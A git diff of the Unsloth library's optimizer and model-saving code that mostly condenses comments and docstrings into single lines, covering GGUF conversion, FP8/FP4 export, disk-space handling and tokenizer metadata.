a/unsloth/optimizers/__init__.py+++ b/unsloth/optimizers/__init__.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/optimizers/q_galore_adamw.py b/unsloth/optimizers/q_galore_adamw.pyindex d3083aff8e9..acb968886b6 100644--- a/unsloth/optimizers/q_galore_adamw.py+++ b/unsloth/optimizers/q_galore_adamw.py@@ -1,17 +1,13 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.-## Adapted from Q-GaLore (https://github.com/VITA-Group/Q-GaLore)# Original paper: "Q-GaLore: Quantized GaLore with INT4 Projection and# Layer-Adaptive Low-Rank Gradients" (arXiv:2407.08296)diff --git a/unsloth/optimizers/q_galore_projector.py b/unsloth/optimizers/q_galore_projector.pyindex cc1ef9ea9ea..e17295a9e46 100644--- a/unsloth/optimizers/q_galore_projector.py+++ b/unsloth/optimizers/q_galore_projector.py@@ -1,17 +1,13 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.-## Adapted from Q-GaLore (https://github.com/VITA-Group/Q-GaLore)# Original paper: "Q-GaLore: Quantized GaLore with INT4 Projection and# Layer-Adaptive Low-Rank Gradients" (arXiv:2407.08296)@@ -110,8 +106,6 @@ class GaLoreProjector:self.ortho_matrix_zeros = Noneself.ortho_matrix_shape = None- # -------------------------------------------------------------------def project(self, full_rank_grad: torch.Tensor, step: int) -> torch.Tensor:"""Project a full-rank gradient into the low-rank subspace.@@ -178,8 +172,6 @@ class GaLoreProjector:return full_rank_grad * self.scale- # -------------------------------------------------------------------@staticmethoddef _compute_orthogonal(weights: torch.Tensor, rank: int, side: str) -> torch.Tensor:"""Compute the top-``rank`` orthogonal matrix via truncated SVD.@@ -215,8 +207,6 @@ class GaLoreProjector:result = result.to(device = original_device, dtype = original_dtype)return result- # -------------------------------------------------------------------def _update_adaptive_schedule(self, float_ortho: torch.Tensor, side: str) -> None:"""Track subspace stability and increase ``update_proj_gap`` if stable."""self.svd_count += 1@@ -239,8 +229,6 @@ class GaLoreProjector:self.past_ortho_vector = current_vector.clone()- # -------------------------------------------------------------------def _store_ortho(self, float_ortho: torch.Tensor) -> None:"""Store the orthogonal matrix, optionally quantized."""if self.quant:diff --git a/unsloth/save.py b/unsloth/save.pyindex c0545cc1a36..6cdccda3dd2 100644--- a/unsloth/save.py+++ b/unsloth/save.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -32,8 +29,7 @@ except ImportError:import sysIS_WINDOWS = sys.platform == "win32"LLAMA_CPP_DEFAULT_DIR = "llama.cpp"-# Without bnb, peft stops exporting its 4bit LoRA layer too. Both names only feed isinstance checks, so-# placeholders nothing can match are exact stand-ins.+# Without bnb, peft stops exporting its 4bit LoRA layer too. Both names only feed isinstance checks, so placeholders nothing can match are exact stand-ins.try:from bitsandbytes.nn import Linear4bit as Bnb_Linear4bitfrom peft.tuners.lora import Linear4bit as Peft_Linear4bit@@ -83,7 +79,6 @@ except:try:from huggingface_hub.utils import get_tokenexcept:- # For older versions of huggingface_hub.from huggingface_hub.utils._token import get_tokenfrom pathlib import Pathfrom peft import PeftModelForCausalLM, PeftModel@@ -103,9 +98,7 @@ LLAMA_CPP_TARGETS = ["llama-server",]-# is_kaggle_environment needs a real kernel, not a KAGGLE_* variable: the Kaggle CLI reads those on an-# ordinary laptop, and the branches below (/tmp save paths, deleting the cached base model) are all wrong-# there.+# is_kaggle_environment needs a real kernel, not a KAGGLE_* variable: the Kaggle CLI reads those on an ordinary laptop, and the branches below (/tmp save paths, deleting the cached base model) are all wrong there.from .disk_utils import (KAGGLE_TMP,is_colab_environment,@@ -166,8 +159,7 @@ ALLOWED_QUANTS = {"q3_k_xs": "3-bit extra small quantization",}-# IQ quants need an importance matrix; llama.cpp refuses them without one, so they are only accepted when-# imatrix_file=... is supplied.+# IQ quants need an importance matrix; llama.cpp refuses them without one, so they are only accepted when imatrix_file=... is supplied.IMATRIX_QUANTS = {"iq1_s": "1.56 bpw. Smallest, lowest quality. Needs an imatrix.","iq1_m": "1.75 bpw. Very small. Needs an imatrix.",@@ -184,12 +176,7 @@ IMATRIX_QUANTS = {def _describe_exception(exc) -> str:- """A description that survives an exception with no message.-- `f"{exc}"` is the EMPTY STRING when the args are empty, so- `f"Failed to save model: {exc}"` named nothing at all on a real Kaggle- Q8_0 export. Leading with the type keeps the class of failure visible.- """+ """A description that survives an exception with no message: f"{exc}" is the EMPTY STRING when args are empty, so leading with the type keeps the class of failure visible."""text = str(exc).strip()name = type(exc).__name__return f"{name}: {text}" if text else name@@ -202,9 +189,7 @@ def has_curl():CURL_FLAG = "-DLLAMA_CURL=ON" if has_curl() else "-DLLAMA_CURL=OFF"-# llm-compressor FP8/FP4 export for vLLM: alias -> (scheme, needs_calibration, dir suffix). needs_calibration-# only for static activation scales (FP8 static, NVFP4); the rest run data-free. Schemes absent from the-# installed compressed-tensors are gated at runtime.+# llm-compressor FP8/FP4 export for vLLM: alias -> (scheme, needs_calibration, dir suffix). needs_calibration only for static activation scales (FP8 static, NVFP4); the rest run data-free. Schemes absent from the installed compressed-tensors are gated at runtime.COMPRESSED_EXPORT_SCHEMES = {"fp8": ("FP8_DYNAMIC", False, "fp8"),"fp8_dynamic": ("FP8_DYNAMIC", False, "fp8"),@@ -238,8 +223,7 @@ COMPRESSED_EXPORT_SCHEMES = {}-# torchao portable export: device-agnostic FP8 / INT8, no NVIDIA GPU needed. alias -> (kind, sibling suffix);-# FP8 writes safetensors, INT8 .bin, both load in vLLM.+# torchao portable export: device-agnostic FP8 / INT8, no NVIDIA GPU needed. alias -> (kind, sibling suffix); FP8 writes safetensors, INT8 .bin, both load in vLLM.TORCHAO_EXPORT_SCHEMES = {"torchao_fp8": ("fp8", "torchao-fp8"),"torchao_int8": ("int8", "torchao-int8"),@@ -257,17 +241,7 @@ def _normalize_torchao_method(save_method):def _loaded_via_remote_code(obj):- """True if `obj`'s class comes from downloaded custom code (an auto_map module).-- Transformers loads auto_map code into the ``transformers_modules`` package, so a- ``transformers_modules`` class proves the original load actually ran that remote code- (which the caller's / Unsloth's consent gate scans at load time). Export paths derive their- reload trust_remote_code from this - the already approved load decision - instead of from a- checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its- unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper- layers so a LoRA over a custom-code base is still detected, and processor components so a- custom tokenizer held inside a built-in processor keeps its approved trust.- """+ """True if `obj`'s class comes from downloaded custom code (an auto_map module). Transformers loads auto_map code into ``transformers_modules``, so such a class proves the original load really ran that remote code and passed the consent gate. Export paths derive their reload trust_remote_code from that already-approved decision instead of from a checkpoint's static ``auto_map``, so a model that loads with built-in classes never has unvetted remote code run when re-read during quantization export. Walks PEFT / wrapper layers and processor components."""seen = set()queue = [obj]while queue and len(seen) < 16:@@ -275,8 +249,7 @@ def _loaded_via_remote_code(obj):if node is None or id(node) in seen:continueseen.add(id(node))- # __module__ can be None on dynamically created or C-extension classes; treat a non-string as "not- # remote code" rather than crashing the export.+ # __module__ can be None on dynamically created or C-extension classes; treat a non-string as "not remote code" rather than crashing the export.module = getattr(type(node), "__module__", None)if isinstance(module, str) and module.startswith("transformers_modules"):return True@@ -285,8 +258,7 @@ def _loaded_via_remote_code(obj):queue.append(node.get_base_model())except Exception:pass- # PEFT / trainer wrappers hold the real model in base_model / model; a ProcessorMixin holds its- # (possibly custom-code) components as attributes.+ # PEFT / trainer wrappers hold the real model in base_model / model; a ProcessorMixin holds its (possibly custom-code) components as attributes.for attr in ("base_model","model",@@ -300,12 +272,7 @@ def _loaded_via_remote_code(obj):def _normalize_compressed_method(save_method):- """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed- export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).-- Near-miss FP8/FP4 names that are not supported raise a precise error instead of silently- falling through to the generic "unknown save_method" message.- """+ """(scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed export, else None. Near-miss unsupported FP8/FP4 names raise a precise error instead of falling through to the generic "unknown save_method"."""if not isinstance(save_method, str):return Nonekey = save_method.lower().strip().replace("-", "_").replace(" ", "_")@@ -324,15 +291,9 @@ def _normalize_compressed_method(save_method):def _is_cmake_only_llama_cpp(llama_cpp_dir: str = "llama.cpp") -> bool:- """- True if llama.cpp's Makefile is the post-CMake-migration deprecation stub,- so `make` cannot build it. A genuinely missing/empty checkout returns False- so it isn't treated as CMake-only: the caller then probes make and fails- loudly on a real error rather than silently assuming a CMake build.- """+ """True if llama.cpp's Makefile is the post-CMake-migration deprecation stub, so `make` cannot build it. A missing or empty checkout returns False so it is not treated as CMake-only: the caller then probes make and fails loudly on a real error."""makefile_path = os.path.join(llama_cpp_dir, "Makefile")if not os.path.exists(makefile_path):- # No Makefile: only CMake-only if a real CMake project is present.return os.path.exists(os.path.join(llama_cpp_dir, "CMakeLists.txt"))try:with open(makefile_path, "r", encoding = "utf-8", errors = "ignore") as f:@@ -370,8 +331,7 @@ def _quantize_q2_k_l(print_output: bool = True,imatrix = None,):- # "Q2_K_L" is an Unsloth preset, not a native llama.cpp ftype: q2_k with output and token embeddings kept- # at q8_0.+ # "Q2_K_L" is an Unsloth preset, not a native llama.cpp ftype: q2_k with output and token embeddings kept at q8_0.command = [str(quantizer_location),*(["--imatrix", str(imatrix)] if imatrix else []),@@ -658,20 +618,7 @@ def _preserve_tokenizer_eos_token(save_directory,filename_prefix = None,):- """Restore tokenizer_config.json eos_token from the tokenizer passed to save.-- Some merge paths may re-save or mutate tokenizer metadata after the tokenizer- is written. Gemma 4 instruct models use `<turn|>` as their chat EOS token;- if tokenizer_config.json is reset to the raw base `<eos>` token, runtimes such- as vLLM will not stop generation correctly. Keep the serialized metadata in- sync with the source tokenizer without failing the save if the config is not- present or cannot be edited.-- `filename_prefix` mirrors the same argument on Transformers'- `PreTrainedTokenizerBase.save_pretrained`: when provided, the tokenizer- config is written as `{filename_prefix}-tokenizer_config.json` instead of- `tokenizer_config.json`.- """+ """Restore tokenizer_config.json eos_token from the tokenizer passed to save. Some merge paths re-save or mutate tokenizer metadata after the tokenizer is written, and Gemma 4 instruct models use `<turn|>` as their chat EOS token, so a config reset to the raw base `<eos>` stops vLLM ending generation. Never fails the save. `filename_prefix` mirrors PreTrainedTokenizerBase.save_pretrained's argument of the same name."""if tokenizer is None or save_directory is None:return@@ -759,12 +706,7 @@ def _qwen3_5_vlm_state_dict_for_save(state_dict):def _coerce_tied_weights_keys_to_dict(model):- """Coerce each module's legacy list/tuple/set ``_tied_weights_keys`` to dict form,- returning ``[(module, original), ...]`` for the caller to restore.-- transformers >= 5 ``save_pretrained`` reads ``_tied_weights_keys.keys()``, so a model- still declaring it as a list (e.g. NemotronH) crashes mid-save.- """+ """Coerce each module's legacy list/tuple/set ``_tied_weights_keys`` to dict form, returning ``[(module, original), ...]`` to restore. transformers >= 5 save_pretrained calls ``.keys()`` on it, so a model still declaring a list (NemotronH) crashes mid-save."""originals = []try:modules = list(model.modules())@@ -791,11 +733,7 @@ def _restore_tied_weights_keys(originals):def _normalize_tied_weights_keys_for_save(save_fn):- """Coerce legacy list-form ``_tied_weights_keys`` to dict for the duration of a save,- then restore: transformers >= 5 re-ties from the dict's *values*, so a persisted- ``{k: k}`` self-map would no-op a later resize/re-tie. ``model`` is the first positional- arg (bound-method ``self``) or the ``model=`` keyword.- """+ """Coerce legacy list-form ``_tied_weights_keys`` to dict for the duration of a save, then restore: transformers >= 5 re-ties from the dict's VALUES, so a persisted ``{k: k}`` self-map would no-op a later resize/re-tie. ``model`` is the first positional arg (bound-method self) or the ``model=`` keyword."""@functools.wraps(save_fn)def wrapper(*args, **kwargs):@@ -1004,8 +942,7 @@ def unsloth_save_model(or (save_method == "lora")or (not hasattr(model, "model") or not hasattr(internal_model.model, "layers"))):- # _create_repo has errors due to **kwargs getting accepted, and commit_description does not seem to- # work.+ # _create_repo has errors due to **kwargs getting accepted, and commit_description does not seem to work.what_to_delete = (("use_temp_dir",@@ -1065,7 +1002,6 @@ def unsloth_save_model(if save_method != "lora":print(" This might take 10 minutes for Llama-7b...", end = "")- # Correctness unverified.if save_method == "lora":save_pretrained_settings["selected_adapters"] = None@@ -1139,7 +1075,7 @@ def unsloth_save_model(if safe_serialization:max_ram -= sharded_ram_usageelse:- max_ram -= sharded_ram_usage * 0.25 # Uses much less+ max_ram -= sharded_ram_usage * 0.25max_ram = int(max(0, max_ram) * maximum_memory_usage)print(@@ -1177,8 +1113,7 @@ def unsloth_save_model(torch_dtype)- # A merged tensor lives on the GPU of its source layer, so budget against W's own device: a GPU0-only- # check OOMs GPU1+ on a sharded model.+ # A merged tensor lives on the GPU of its source layer, so budget against W's own device: a GPU0-only check OOMs GPU1+ on a sharded model._max_vram_by_device = {}def _device_vram_budget(dev):@@ -1209,10 +1144,8 @@ def unsloth_save_model(_dev_budget is not Noneand (torch.cuda.memory_allocated(W.device) + W.nbytes) < _dev_budget):- # Fits on W's own GPUstate_dict[name] = Welif W.device.type != "cuda":- # Already off-GPU: keeping it costs no VRAMstate_dict[name] = W# Saving to RAM seems to leak memory.else:@@ -1340,8 +1273,7 @@ def unsloth_save_model(if save_pretrained_settings["push_to_hub"] and (username != actual_username):print(f"Unsloth: Saving to organization with address {new_save_directory}")- # Pushing to an organization: .save_pretrained does not work, so save locally first and upload- # manually.+ # Pushing to an organization: .save_pretrained does not work, so save locally first and upload manually.save_pretrained_settings["save_directory"] = new_save_directorysave_pretrained_settings["push_to_hub"] = Falseinternal_model.save_pretrained(**save_pretrained_settings)@@ -1462,23 +1394,15 @@ def install_python_non_blocking(packages = []):return run_installer-# Cap the first-use auto-install at the exact vetted patch, so no inflated "0.999.0" or in-range "0.12.999"-# from a mirror is pulled. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7).+# Cap the first-use auto-install at the exact vetted patch, so no inflated "0.999.0" or in-range "0.12.999" from a mirror is pulled. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7)._LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"-# Highest transformers llm-compressor 0.10.x/0.12.x runs against (it pins <=4.57.6). It imports-# TORCH_INIT_FUNCTIONS, removed in transformers 5.x, so a newer-transformers model dies with a cryptic-# ImportError AFTER the expensive merge. Bump with llm-compressor.+# Highest transformers llm-compressor 0.10.x/0.12.x runs against (it pins <=4.57.6). It imports TORCH_INIT_FUNCTIONS, removed in transformers 5.x, so a newer-transformers model dies with a cryptic ImportError AFTER the expensive merge. Bump with llm-compressor._LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6"def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None):- """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling.-- `exceeds` is True only when we can parse both versions and the active transformers is strictly- newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a- real quantization attempt still surfaces the underlying error rather than a false positive.- """+ """(exceeds, active_version) comparing the active transformers to the llm-compressor ceiling. `exceeds` is True only when both versions parse and the active one is strictly newer; any parse failure returns False (fail open) so a real attempt still surfaces the underlying error."""if transformers_version is None:try:import transformers as _tf@@ -1496,8 +1420,7 @@ def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None):return False, str(transformers_version)-# A caller (Unsloth Studio) can point this at an llm-compressor-main shadow (transformers>=5.9 over the-# existing torch); the subprocess then uses it and the ceiling check is bypassed.+# A caller (Unsloth Studio) can point this at an llm-compressor-main shadow (transformers>=5.9 over the existing torch); the subprocess then uses it and the ceiling check is bypassed._COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH"@@ -1508,12 +1431,7 @@ def _compressed_quantize_pythonpath():def install_llm_compressor():- """Import llm-compressor, installing it on first use for FP8/FP4 export.-- Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does- not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install.- Returns (oneshot, QuantizationModifier).- """+ """Import llm-compressor, installing a version-pinned copy on first use for FP8/FP4 export and pinning the current torch + transformers so pip does not upgrade them. UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 forbids the auto-install. Returns (oneshot, QuantizationModifier)."""try:from llmcompressor import oneshotfrom llmcompressor.modifiers.quantization import QuantizationModifier@@ -1556,8 +1474,7 @@ def install_llm_compressor():except Exception:pass- # Prefer pip, falling back to uv when the interpreter has no pip seeded (uv-created or relocatable venvs),- # so the export does not die on "No module named pip".+ # Prefer pip, falling back to uv when the interpreter has no pip seeded (uv-created or relocatable venvs), so the export does not die on "No module named pip".import importlib.utilif importlib.util.find_spec("pip") is not None:@@ -1948,16 +1865,7 @@ def _choose_first_conversion(model_dtype,has_imatrix = False,):- """Pick the dtype of the initial HF -> GGUF conversion.-- Single-pass fast path: when exactly one output type is requested and- convert_hf_to_gguf.py can emit it directly (f32/f16/bf16/q8_0), convert straight to- it - the llama-quantize pass and the 16-bit intermediate file are skipped entirely.- An imatrix forces the two-pass route since only llama-quantize can apply one.-- Every other case converts to the source dtype first, so each requested method is- quantized from weights identical to the checkpoint's.- """+ """Pick the dtype of the initial HF to GGUF conversion. Single-pass fast path: one requested output that convert_hf_to_gguf.py can emit directly (f32/f16/bf16/q8_0) is converted straight to it, skipping the llama-quantize pass and the 16-bit intermediate. An imatrix forces the two-pass route since only llama-quantize can apply one. Every other case converts to the source dtype first, so each method is quantized from weights identical to the checkpoint."""unique_methods = set(quantization_methods)if len(unique_methods) == 1 and not has_imatrix:only_method = next(iter(unique_methods))@@ -1982,22 +1890,7 @@ def save_to_gguf(preexisting_weights = None,gguf_shard_size: Optional[str] = None,):- """- Orchestrates the complete GGUF conversion process.- Handles installation, conversion, and quantization.- `imatrix` is a local importance-matrix path (already resolved); it is forwarded to- llama-quantize and is required for the IQ low-bit quant types.- `gguf_directory` can place outputs separately from the model input directory.- `merge_is_disposable` says `model_directory` was written by this export purely to- feed the converter, so its weights may be reclaimed if the quants would not- otherwise fit. Off by default: a caller pointing this at a real checkpoint keeps it.- `preexisting_weights` is what `model_directory` held before the merge wrote it,- so reclamation can take only what this export produced. `None` means the caller- cannot say, and nothing is reclaimed.- `gguf_shard_size` applies to final f32, f16 and bf16 outputs. Quantized outputs- remain single-file. None preserves the historical 50GB converter limit.- """- # print_output is True only if UNSLOTH_ENABLE_LOGGING=1.+ """Orchestrate the HF to GGUF conversion: install, convert, quantize. `imatrix` is a resolved local importance-matrix path, forwarded to llama-quantize and required for the IQ types. `gguf_directory` places outputs separately from the model input directory. `merge_is_disposable` says `model_directory` was written by this export purely to feed the converter, so its weights may be reclaimed if the quants would not otherwise fit; off by default."""if os.environ.get("UNSLOTH_ENABLE_LOGGING", "0") == "1":print_output = Trueelse:@@ -2026,8 +1919,7 @@ def save_to_gguf(has_imatrix = imatrix is not None and str(imatrix) != ""if has_imatrix:- # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast before the expensive- # conversion rather than silently dropping it.+ # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast before the expensive conversion rather than silently dropping it.import inspectif "imatrix" not in inspect.signature(quantize_gguf).parameters:raise RuntimeError(@@ -2146,8 +2038,7 @@ def save_to_gguf(is_vlm = is_vlm_updatefor file in initial_files:if not os.path.exists(file):- # Gated like the outer handler: disk advice is only right when disk is the problem, and a- # converter with no llama.cpp support fails here with space to spare.+ # Gated like the outer handler: disk advice is only right when disk is the problem, and a converter with no llama.cpp support fails here with space to spare.if IS_KAGGLE_ENVIRONMENT and _gguf_failure_looks_like_disk(RuntimeError(f"Conversion produced no output at {file}"),os.path.dirname(file) or None,@@ -2198,14 +2089,11 @@ def save_to_gguf(if not is_gpt_oss:base_gguf = initial_files[0]- # Deduplicate while keeping order; a method equal to the base conversion is already on disk.methods_to_quantize = [m for m in dict.fromkeys(quantization_method) if m != first_conversion]- # The merge is not read again, and on a tight disk its bytes are what run the export out.- # Nemotron-3-Nano-30B-A3B on 132GB: 63GB merge + 60GB GGUF + 18GB Q4_K_M = 141GB, and llama-quantize- # died mid-write. Only fires when the room is not there.+ # The merge is not read again, and on a tight disk its bytes are what run the export out. Nemotron-3-Nano-30B-A3B on 132GB: 63GB merge + 60GB GGUF + 18GB Q4_K_M = 141GB, and llama-quantize died mid-write. Only fires when the room is not there._free_merge_if_disk_is_tight(model_directory,gguf_directory,@@ -2231,8 +2119,7 @@ def save_to_gguf(imatrix = imatrix,)else:- # Standard unsloth-zoo quantization for everything else. Pass imatrix only when set, so an- # older zoo still handles plain quants; an inapplicable imatrix was rejected above.+ # Standard unsloth-zoo quantization for everything else. Pass imatrix only when set, so an older zoo still handles plain quants; an inapplicable imatrix was rejected above.quant_kwargs = dict(input_gguf = base_gguf,output_gguf = output_location,@@ -2246,8 +2133,7 @@ def save_to_gguf(quant_kwargs["n_threads"] = n_threadsreturn quantize_gguf(**quant_kwargs)except Exception as e:- # Judge "no room" against what this pass writes, not a constant. Priced as a lower bound, not- # the generous reclamation estimate: a high guess calls a disk full that had room.+ # Judge "no room" against what this pass writes, not a constant. Priced as a lower bound, not the generous reclamation estimate: a high guess calls a disk full that had room.try:_ratio = _gguf_output_size_ratio(quant_method,@@ -2268,8 +2154,7 @@ def save_to_gguf()except OSError:_needed = None- # Same gate as above: a broken quantizer with 19GB free is not a disk problem, and the outer- # handler cannot undo an explanation already baked into this message.+ # Same gate as above: a broken quantizer with 19GB free is not a disk problem, and the outer handler cannot undo an explanation already baked into this message.if IS_KAGGLE_ENVIRONMENT and _gguf_failure_looks_like_disk(e,gguf_directory,@@ -2293,8 +2178,7 @@ def save_to_gguf(needed_bytes = _needed,partial_output = output_location,):- # Kaggle is not the only place a disk fills, and the rebuild advice below only fits a broken- # quantizer; on a full disk it is a long compile that fixes nothing.+ # Kaggle is not the only place a disk fills, and the rebuild advice below only fits a broken quantizer; on a full disk it is a long compile that fixes nothing.try:_free_gb = shutil.disk_usage(gguf_directory).free / 1024**3_where = f" ({_free_gb:.1f}GB free at {gguf_directory})"@@ -2338,15 +2222,13 @@ def save_to_gguf(for m in methods_to_quantizeif os.path.exists(os.path.join(gguf_directory, f"{model_name}.{m.upper()}.gguf"))}- # Each llama-quantize pass loads the whole base GGUF into RAM, so run two at once only with headroom- # for two copies, else a multi-quant export that fit sequentially OOMs.+ # Each llama-quantize pass loads the whole base GGUF into RAM, so run two at once only with headroom for two copies, else a multi-quant export that fit sequentially OOMs.try:base_bytes = sum(os.path.getsize(f) for f in initial_files if not _is_gguf_companion(f))mem_ok = psutil.virtual_memory().available >= int(2.5 * base_bytes)except Exception:mem_ok = False- # Independent llama-quantize runs can overlap, capped at 2 workers. Sequential when streaming logs, on- # Kaggle/Colab, when RAM is tight, or when the kill switch is set.+ # Independent llama-quantize runs can overlap, capped at 2 workers. Sequential when streaming logs, on Kaggle/Colab, when RAM is tight, or when the kill switch is set._parallel_flag = os.environ.get("UNSLOTH_PARALLEL_GGUF_QUANTS", "1").strip().lower()parallel_quants = (len(methods_to_quantize) > 1@@ -2358,7 +2240,6 @@ def save_to_gguf()if parallel_quants:max_workers = min(2, len(methods_to_quantize))- # Split the thread budget so total threads match the sequential run.per_worker_threads = max(1, n_cpus // max_workers)print(f"Unsloth: [2] Converting GGUF {first_conversion_dtype} into "@@ -2378,8 +2259,7 @@ def save_to_gguf(fut.cancel()first_exc = next((f.exception() for f in done if f.exception() is not None), None)if first_exc is not None:- # Remove only outputs this run created: a pre-existing file, or a canceled pass that never- # wrote, stays, so a rerun never deletes a prior artifact. The base is kept for retry.+ # Remove only outputs this run created: a pre-existing file, or a canceled pass that never wrote, stays, so a rerun never deletes a prior artifact. The base is kept for retry.wait(future_to_idx)for method in methods_to_quantize:if method in preexisting_outputs:@@ -2414,8 +2294,7 @@ def save_to_gguf(# Flip the list to get [text_model, mmproj] order; text models stay the same.all_saved_locations.reverse()- # When the base format is preserved, move base files (and shards) off the list boundaries so- # example commands ([0]=model, [-1]=mmproj) stay correct.+ # When the base format is preserved, move base files (and shards) off the list boundaries so example commands ([0]=model, [-1]=mmproj) stay correct.if want_full_precision and len(all_saved_locations) > len(base_files) + 1:for f in base_files:if f in all_saved_locations:@@ -2483,9 +2362,7 @@ def unsloth_save_pretrained_merged("You can do it separately via `tokenizer.save_pretrained(...)`")- # Kaggle's working directory is ~20GB while /tmp on the same kernel is terabytes, so relative paths under- # /kaggle/working that do not fit move there. Absolute paths, hub pushes and non-Kaggle machines are- # untouched.+ # Kaggle's working directory is ~20GB while /tmp on the same kernel is terabytes, so relative paths under /kaggle/working that do not fit move there. Absolute paths, hub pushes and non-Kaggle machines are untouched._forwards_state_dict, _writes_model_verbatim = _merge_writer_disposition(self, save_method)save_directory = _preflight_merge_disk(self,@@ -2495,9 +2372,7 @@ def unsloth_save_pretrained_merged(state_dict = state_dict,forwards_state_dict = _forwards_state_dict,writes_model_verbatim = _writes_model_verbatim,- # No writer_runs_merge_guard: a plain merge here is written by unsloth_save_model, which never reaches- # merge_and_overwrite_lora. A compressed export does go through unsloth_generic_save, which the- # preflight recognises from the method alone.+ # No writer_runs_merge_guard: a plain merge here is written by unsloth_save_model, which never reaches merge_and_overwrite_lora. A compressed export does go through unsloth_generic_save, which the preflight recognises from the method alone.)_compressed = _normalize_compressed_method(save_method)@@ -2766,7 +2641,6 @@ def create_huggingface_repo(card.data.datasets = datasetscard.push_to_hub(save_directory, token = token)except:- # Repo already exists, so update datasets metadata separately.if datasets:try:from huggingface_hub import metadata_update@@ -3069,13 +2943,7 @@ def push_to_ollama(@contextmanagerdef _hub_cache_prewarm_disabled(disable):- """Turn the base-model cache pre-warm off for one export, then restore it.-- The pre-warm is an optimization for the NEXT export, so on a disk that- cannot hold the cached base and the export at once, the export wins. The- old value goes back afterwards, including on an exception, so nothing- leaks into the rest of the session.- """+ """Turn the base-model cache pre-warm off for one export, then restore it, including on an exception. The pre-warm only helps the NEXT export, so on a disk that cannot hold the cached base and the export at once, the export wins."""if not disable:yieldreturn@@ -3091,9 +2959,7 @@ def _hub_cache_prewarm_disabled(disable):os.environ[key] = previous-# The zoo's merge guard compares against int(free * 0.95), and model_16bit_bytes counts tensors only, with-# config, tokenizer and index on top. Ask the redirect for that same effective figure, else a "just big-# enough" directory is kept and the merge then refuses.+# The zoo's merge guard compares against int(free * 0.95), and model_16bit_bytes counts tensors only, with config, tokenizer and index on top. Ask the redirect for that same effective figure, else a "just big enough" directory is kept and the merge then refuses._MERGE_FREE_SPACE_RESERVE = 0.95# torchao weight-only fp8 / int8: one byte per quantized weight.@@ -3101,28 +2967,13 @@ _TORCHAO_SIBLING_WEIGHT_BITS = 8def _compressed_scheme_weight_bits(scheme):- """Bits per weight of a compressed-tensors sibling checkpoint.-- Four for every scheme that quantizes weights to 4 bits (`W4*`, and any- `*FP4` microscaling variant), eight for the rest. Rounded the way- unsloth_zoo rounds its GGUF table: over-estimating costs headroom,- under-estimating costs the whole export.- """+ """Bits per weight of a compressed-tensors sibling checkpoint: four for every scheme that quantizes weights to 4 bits (`W4*` and any `*FP4` microscaling variant), eight for the rest. Rounded the way unsloth_zoo rounds its GGUF table, since over-estimating costs headroom while under-estimating costs the whole export."""scheme = str(scheme).upper()return 4 if scheme.startswith("W4") or "FP4" in scheme else 8def _compressed_ignore_patterns(model):- """The compressed recipe's own `ignore` list for this model, or an empty list.-- Read out of `_compressed_quantize.py` rather than restated here, so the- sizing cannot drift from the recipe the way it already had. That module is- otherwise only ever *executed* by file path; its module-level imports are- stdlib only, so importing it costs nothing and imports no llm-compressor.-- Any failure (module renamed, symbol gone, a config that will not answer)- returns nothing, which leaves the estimate exactly as it was.- """+ """The compressed recipe's own `ignore` list for this model, or an empty list. Read out of `_compressed_quantize.py` rather than restated here, so the sizing cannot drift from the recipe the way it already had; that module is otherwise only ever executed by file path, and its module-level imports are stdlib only. Any failure returns nothing, leaving the estimate as it was."""try:from unsloth._compressed_quantize import compressed_ignore_patternsreturn list(compressed_ignore_patterns(getattr(model, "config", None)))@@ -3131,17 +2982,7 @@ def _compressed_ignore_patterns(model):def _matches_ignore_pattern(name, module, patterns):- """Mirror compressed-tensors' `is_match` for one module against 